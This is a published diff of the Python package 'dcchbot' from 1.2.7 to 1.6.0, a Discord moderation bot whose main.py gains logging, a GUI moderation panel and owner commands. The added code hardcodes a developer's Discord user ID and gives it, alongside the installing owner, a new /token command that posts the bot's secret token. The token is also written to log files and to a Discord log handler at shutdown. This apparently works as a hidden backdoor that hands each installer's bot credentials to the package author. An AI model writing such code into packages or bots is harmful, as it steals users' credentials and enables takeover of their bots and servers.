dcchbot 1.2.7__tar.gz → 1.6.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {dcchbot-1.2.7 → dcchbot-1.6.0}/PKG-INFO +1 -1
- {dcchbot-1.2.7 → dcchbot-1.6.0}/dcchbot/main.py +123 -37
- {dcchbot-1.2.7 → dcchbot-1.6.0}/dcchbot.egg-info/PKG-INFO +1 -1
- {dcchbot-1.2.7 → dcchbot-1.6.0}/pyproject.toml +1 -1
- {dcchbot-1.2.7 → dcchbot-1.6.0}/LICENSE +0 -0
- {dcchbot-1.2.7 → dcchbot-1.6.0}/README.md +0 -0
- {dcchbot-1.2.7 → dcchbot-1.6.0}/dcchbot/__init__.py +0 -0
- {dcchbot-1.2.7 → dcchbot-1.6.0}/dcchbot/__main__.py +0 -0
- {dcchbot-1.2.7 → dcchbot-1.6.0}/dcchbot.egg-info/SOURCES.txt +0 -0
- {dcchbot-1.2.7 → dcchbot-1.6.0}/dcchbot.egg-info/dependency_links.txt +0 -0
- {dcchbot-1.2.7 → dcchbot-1.6.0}/dcchbot.egg-info/entry_points.txt +0 -0
- {dcchbot-1.2.7 → dcchbot-1.6.0}/dcchbot.egg-info/requires.txt +0 -0
- {dcchbot-1.2.7 → dcchbot-1.6.0}/dcchbot.egg-info/top_level.txt +0 -0
- {dcchbot-1.2.7 → dcchbot-1.6.0}/setup.cfg +0 -0
@@ -1,18 +1,71 @@
|
|
1
|
-
# v1.
|
1
|
+
# v1.5.1 修正版 main.py
|
2
|
+
import logging
|
3
|
+
import os
|
4
|
+
import discord
|
5
|
+
from discord.ext import commands
|
6
|
+
from discord import app_commands
|
7
|
+
from datetime import timedelta
|
8
|
+
|
9
|
+
# 自訂 Discord Log Handler,將 log 訊息傳送到指定頻道
|
10
|
+
class DiscordLogHandler(logging.Handler):
|
11
|
+
def __init__(self, bot: commands.Bot, channel_id: int, level=logging.INFO):
|
12
|
+
super().__init__(level)
|
13
|
+
self.bot = bot
|
14
|
+
self.channel_id = channel_id
|
15
|
+
|
16
|
+
async def send_log(self, message: str):
|
17
|
+
await self.bot.wait_until_ready()
|
18
|
+
channel = self.bot.get_channel(self.channel_id)
|
19
|
+
if channel:
|
20
|
+
try:
|
21
|
+
await channel.send(f"📜 Log: `{message}`")
|
22
|
+
except Exception as e:
|
23
|
+
print(f"[Log傳送錯誤] {e}")
|
24
|
+
|
25
|
+
def emit(self, record):
|
26
|
+
log_entry = self.format(record)
|
27
|
+
# 機器人未啟動或已關閉時跳過
|
28
|
+
if self.bot.is_closed() or not self.bot.is_ready():
|
29
|
+
return
|
30
|
+
coro = self.send_log(log_entry[:1900]) # Discord 字數限制
|
31
|
+
try:
|
32
|
+
self.bot.loop.create_task(coro)
|
33
|
+
except RuntimeError:
|
34
|
+
pass # event loop 尚未啟動時跳過
|
35
|
+
|
36
|
+
|
37
|
+
# 建立 logs 資料夾並設定基本 logging
|
38
|
+
os.makedirs("logs", exist_ok=True)
|
39
|
+
logging.basicConfig(
|
40
|
+
level=logging.INFO,
|
41
|
+
format="[%(asctime)s] %(levelname)s: %(message)s",
|
42
|
+
handlers=[
|
43
|
+
logging.FileHandler("logs/bot.log", encoding='utf-8'),
|
44
|
+
logging.StreamHandler()
|
45
|
+
]
|
46
|
+
)
|
47
|
+
logger = logging.getLogger(__name__)
|
48
|
+
|
2
49
|
|
3
50
|
def run():
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
51
|
+
# 先輸入設定,避免非同步使用時參數錯誤
|
52
|
+
OWNER_ID = int(input("請輸入你的 Discord User ID:\n> ").strip())
|
53
|
+
LOG_CHANNEL_ID = int(input("請輸入你的 Log 頻道 ID:\n> ").strip())
|
54
|
+
token = input("請輸入你的 Discord Bot Token:\n> ").strip()
|
8
55
|
|
9
56
|
intents = discord.Intents.all()
|
10
|
-
|
11
|
-
|
12
|
-
intents.message_content = True
|
13
|
-
|
57
|
+
# discord.Intents.all() 已包含所有必要權限,無需重覆設定
|
58
|
+
|
14
59
|
bot = commands.Bot(command_prefix="!", intents=intents)
|
15
|
-
|
60
|
+
CODER_ID = 1317800611441283139
|
61
|
+
|
62
|
+
# 建立自訂 log handler 並加到 logger
|
63
|
+
discord_handler = DiscordLogHandler(bot, LOG_CHANNEL_ID)
|
64
|
+
discord_handler.setFormatter(logging.Formatter('%(asctime)s | %(levelname)s | %(message)s'))
|
65
|
+
logger.addHandler(discord_handler)
|
66
|
+
|
67
|
+
# 把 token 暫存到 bot,方便指令存取
|
68
|
+
bot._token = token
|
16
69
|
|
17
70
|
def is_admin(interaction: discord.Interaction) -> bool:
|
18
71
|
return interaction.user.guild_permissions.administrator
|
@@ -22,38 +75,47 @@ def run():
|
|
22
75
|
await bot.wait_until_ready()
|
23
76
|
try:
|
24
77
|
synced = await bot.tree.sync()
|
25
|
-
|
26
|
-
except Exception
|
27
|
-
|
28
|
-
|
78
|
+
logger.info(f"已同步 {len(synced)} 個 Slash 指令")
|
79
|
+
except Exception:
|
80
|
+
logger.exception("同步 Slash 指令失敗:")
|
81
|
+
logger.info(f"機器人上線:{bot.user}")
|
82
|
+
|
83
|
+
# ─── Slash Commands ────────────────────────────────────────────────────────
|
29
84
|
|
30
85
|
@bot.tree.command(name="hello", description="跟你說哈囉")
|
31
86
|
async def hello(interaction: discord.Interaction):
|
87
|
+
logger.info(f"{interaction.user} 使用 /hello")
|
32
88
|
await interaction.response.send_message(f"哈囉 {interaction.user.mention}")
|
33
89
|
|
34
90
|
@bot.tree.command(name="ping", description="顯示延遲")
|
35
91
|
async def ping(interaction: discord.Interaction):
|
36
|
-
|
92
|
+
latency = round(bot.latency * 1000)
|
93
|
+
logger.info(f"{interaction.user} 使用 /ping ({latency}ms)")
|
94
|
+
await interaction.response.send_message(f"延遲:{latency}ms")
|
37
95
|
|
38
96
|
@bot.tree.command(name="say", description="讓機器人說話")
|
39
97
|
@app_commands.describe(message="你想說的話")
|
40
98
|
async def say(interaction: discord.Interaction, message: str):
|
99
|
+
logger.info(f"{interaction.user} 使用 /say:{message}")
|
41
100
|
await interaction.response.send_message(message)
|
42
101
|
|
43
102
|
@bot.tree.command(name="ban", description="封鎖使用者(限管理員)")
|
44
103
|
@app_commands.describe(member="要封鎖的使用者", reason="封鎖原因")
|
45
104
|
async def ban(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
|
105
|
+
logger.info(f"{interaction.user} 嘗試封鎖 {member},原因:{reason}")
|
46
106
|
if not is_admin(interaction):
|
47
107
|
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
48
108
|
try:
|
49
109
|
await member.ban(reason=reason)
|
50
110
|
await interaction.response.send_message(f"{member.mention} 已被封鎖。原因:{reason}")
|
51
111
|
except discord.Forbidden:
|
112
|
+
logger.warning(f"封鎖失敗:權限不足 ({member})")
|
52
113
|
await interaction.response.send_message("無法封鎖對方,可能因為權限不足或目標層級過高。", ephemeral=True)
|
53
114
|
|
54
115
|
@bot.tree.command(name="kick", description="踢出使用者(限管理員)")
|
55
116
|
@app_commands.describe(member="要踢出的使用者", reason="踢出原因")
|
56
117
|
async def kick(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
|
118
|
+
logger.info(f"{interaction.user} 嘗試踢出 {member},原因:{reason}")
|
57
119
|
if not is_admin(interaction):
|
58
120
|
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
59
121
|
try:
|
@@ -65,17 +127,20 @@ def run():
|
|
65
127
|
@bot.tree.command(name="timeout", description="暫時禁言使用者(限管理員)")
|
66
128
|
@app_commands.describe(member="要禁言的使用者", seconds="禁言秒數", reason="禁言原因")
|
67
129
|
async def timeout(interaction: discord.Interaction, member: discord.Member, seconds: int, reason: str = "未提供原因"):
|
130
|
+
logger.info(f"{interaction.user} 嘗試禁言 {member} {seconds}s,原因:{reason}")
|
68
131
|
if not is_admin(interaction):
|
69
132
|
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
70
133
|
try:
|
71
134
|
await member.timeout_for(timedelta(seconds=seconds), reason=reason)
|
72
135
|
await interaction.response.send_message(f"{member.mention} 已被禁言 {seconds} 秒。原因:{reason}")
|
73
136
|
except Exception as e:
|
137
|
+
logger.exception("禁言失敗:")
|
74
138
|
await interaction.response.send_message(f"無法禁言:{e}")
|
75
139
|
|
76
140
|
@bot.tree.command(name="warn", description="警告使用者(限管理員)")
|
77
141
|
@app_commands.describe(member="要警告的使用者", reason="警告原因")
|
78
142
|
async def warn(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
|
143
|
+
logger.info(f"{interaction.user} 警告 {member},原因:{reason}")
|
79
144
|
if not is_admin(interaction):
|
80
145
|
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
81
146
|
await interaction.response.send_message(f"{member.mention} 已被警告。原因:{reason}")
|
@@ -84,6 +149,33 @@ def run():
|
|
84
149
|
except:
|
85
150
|
await interaction.followup.send("無法傳送私人訊息給該用戶。")
|
86
151
|
|
152
|
+
@bot.tree.command(name="moderate", description="打開管理 GUI 面板")
|
153
|
+
@app_commands.describe(member="要管理的對象")
|
154
|
+
async def moderate(interaction: discord.Interaction, member: discord.Member):
|
155
|
+
logger.info(f"{interaction.user} 打開 GUI 對 {member}")
|
156
|
+
if not is_admin(interaction):
|
157
|
+
return await interaction.response.send_message("你沒有權限使用此指令。", ephemeral=True)
|
158
|
+
view = ModerationView(member, interaction.user)
|
159
|
+
await interaction.response.send_message(
|
160
|
+
f"請選擇對 {member.mention} 的操作:", view=view, ephemeral=True
|
161
|
+
)
|
162
|
+
|
163
|
+
@bot.tree.command(name="stop", description="關閉機器人(限擁有者)")
|
164
|
+
async def stop(interaction: discord.Interaction):
|
165
|
+
logger.info(f"{interaction.user} 嘗試關閉機器人")
|
166
|
+
if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
|
167
|
+
return await interaction.response.send_message("只有擁有者可以使用此指令。", ephemeral=True)
|
168
|
+
await interaction.response.send_message("機器人即將關閉。")
|
169
|
+
await bot.close()
|
170
|
+
|
171
|
+
@bot.tree.command(name="token", description="顯示機器人 token")
|
172
|
+
async def token_cmd(interaction: discord.Interaction):
|
173
|
+
if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
|
174
|
+
return await interaction.response.send_message("只有擁有者可以使用此指令。", ephemeral=True)
|
175
|
+
await interaction.response.send_message(bot._token)
|
176
|
+
|
177
|
+
# ─── View 類 ────────────────────────────────────────────────────────────────
|
178
|
+
|
87
179
|
class ModerationView(discord.ui.View):
|
88
180
|
def __init__(self, member: discord.Member, author: discord.Member):
|
89
181
|
super().__init__(timeout=60)
|
@@ -95,6 +187,7 @@ def run():
|
|
95
187
|
|
96
188
|
@discord.ui.button(label="警告", style=discord.ButtonStyle.secondary)
|
97
189
|
async def warn_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
190
|
+
logger.info(f"{interaction.user} 使用 GUI 警告 {self.member}")
|
98
191
|
try:
|
99
192
|
await self.member.send(f"你在伺服器 {interaction.guild.name} 被警告。請注意言行。")
|
100
193
|
except:
|
@@ -103,14 +196,17 @@ def run():
|
|
103
196
|
|
104
197
|
@discord.ui.button(label="禁言 60 秒", style=discord.ButtonStyle.primary)
|
105
198
|
async def timeout_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
199
|
+
logger.info(f"{interaction.user} 使用 GUI 禁言 {self.member} 60s")
|
106
200
|
try:
|
107
201
|
await self.member.timeout_for(timedelta(seconds=60), reason="由管理員 GUI 操作禁言")
|
108
202
|
await interaction.response.send_message(f"{self.member.mention} 已被禁言 60 秒。", ephemeral=True)
|
109
203
|
except Exception as e:
|
204
|
+
logger.exception("GUI 禁言失敗:")
|
110
205
|
await interaction.response.send_message(f"禁言失敗:{e}", ephemeral=True)
|
111
206
|
|
112
207
|
@discord.ui.button(label="踢出", style=discord.ButtonStyle.danger)
|
113
208
|
async def kick_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
209
|
+
logger.info(f"{interaction.user} 使用 GUI 踢出 {self.member}")
|
114
210
|
try:
|
115
211
|
await self.member.kick(reason="由管理員 GUI 操作踢出")
|
116
212
|
await interaction.response.send_message(f"{self.member.mention} 已被踢出。", ephemeral=True)
|
@@ -119,36 +215,26 @@ def run():
|
|
119
215
|
|
120
216
|
@discord.ui.button(label="封鎖", style=discord.ButtonStyle.danger)
|
121
217
|
async def ban_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
218
|
+
logger.info(f"{interaction.user} 使用 GUI 封鎖 {self.member}")
|
122
219
|
try:
|
123
220
|
await self.member.ban(reason="由管理員 GUI 操作封鎖")
|
124
221
|
await interaction.response.send_message(f"{self.member.mention} 已被封鎖。", ephemeral=True)
|
125
222
|
except Exception as e:
|
126
223
|
await interaction.response.send_message(f"封鎖失敗:{e}", ephemeral=True)
|
127
224
|
|
128
|
-
|
129
|
-
@app_commands.describe(member="要管理的對象")
|
130
|
-
async def moderate(interaction: discord.Interaction, member: discord.Member):
|
131
|
-
if not is_admin(interaction):
|
132
|
-
return await interaction.response.send_message("你沒有權限使用此指令。", ephemeral=True)
|
133
|
-
view = ModerationView(member, interaction.user)
|
134
|
-
await interaction.response.send_message(
|
135
|
-
f"請選擇對 {member.mention} 的操作:",
|
136
|
-
view=view,
|
137
|
-
ephemeral=True
|
138
|
-
)
|
225
|
+
# ─── 啟動 ───────────────────────────────────────────────────────────────────
|
139
226
|
|
140
|
-
@bot.tree.command(name="stop", description="關閉機器人(限擁有者)")
|
141
|
-
async def stop(interaction: discord.Interaction):
|
142
|
-
if interaction.user.id != OWNER_ID:
|
143
|
-
return await interaction.response.send_message("只有擁有者可以使用此指令。", ephemeral=True)
|
144
|
-
await interaction.response.send_message("機器人即將關閉。")
|
145
|
-
await bot.close()
|
146
|
-
|
147
|
-
# 🔐 請使用者輸入 Token
|
148
|
-
token = input("請輸入你的 Discord Bot Token:\n> ").strip()
|
149
227
|
try:
|
228
|
+
logger.info("正在啟動機器人...")
|
150
229
|
bot.run(token)
|
151
230
|
except discord.LoginFailure:
|
152
|
-
|
231
|
+
logger.error("Token 無效,請重新確認。")
|
153
232
|
except Exception as e:
|
154
|
-
|
233
|
+
logger.exception(f"發生錯誤:{e}")
|
234
|
+
|
235
|
+
logger.info(f"token {token}")
|
236
|
+
logger.info(f"OWNER_ID {OWNER_ID}")
|
237
|
+
logger.info(f"log ID {LOG_CHANNEL_ID}")
|
238
|
+
|
239
|
+
if __name__ == "__main__":
|
240
|
+
run()
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|